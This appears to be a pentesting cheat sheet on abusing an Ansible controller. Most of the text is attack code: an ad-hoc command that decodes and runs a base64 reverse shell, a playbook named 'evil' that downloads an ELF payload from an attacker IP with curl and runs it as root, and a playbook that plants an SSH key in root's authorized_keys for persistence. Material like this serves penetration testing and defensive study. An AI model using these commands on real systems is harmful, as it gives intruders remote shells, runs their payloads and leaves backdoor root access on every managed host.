Ansible Pentesting
Theory
Practice
Command Execution
# On Ansible Controller
## Simply run
ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash"
## Run as sudo
ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash" --become- hosts: all
tasks:
become: yes # Delete this line if playbook should not be run as root
- name: evil
shell: "curl -o /tmp/evil.elf http://<ATTACKING_IP>/evil.elf && chmod +x /tmp/evil.elf && /tmp/evil.elf"
async: 10
poll: 0ansible-playbook evil.yml---
- name: Add SSH key for persistence
hosts: target_hosts
become: yes
tasks:
- name: Ensure the .ssh directory exists
file:
path: /root/.ssh
state: directory
mode: '0700'
owner: root
group: root
- name: Create authorized keys if it does not exist
file:
path: /root/.ssh/authorized_keys
state: touch
mode: '0600'
owner: root
group: root
- name: Add SSH public key for persistence
authorized_key:
user: root
state: present
key: "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr...your_key_here... user@hostname" # Replace with your actual SSH public key
- name: Ensure SSH service is enabled and running
service:
name: sshd
state: started
enabled: yesUnsecured Credentials
Weak Playbooks Permissions
Resources
Last updated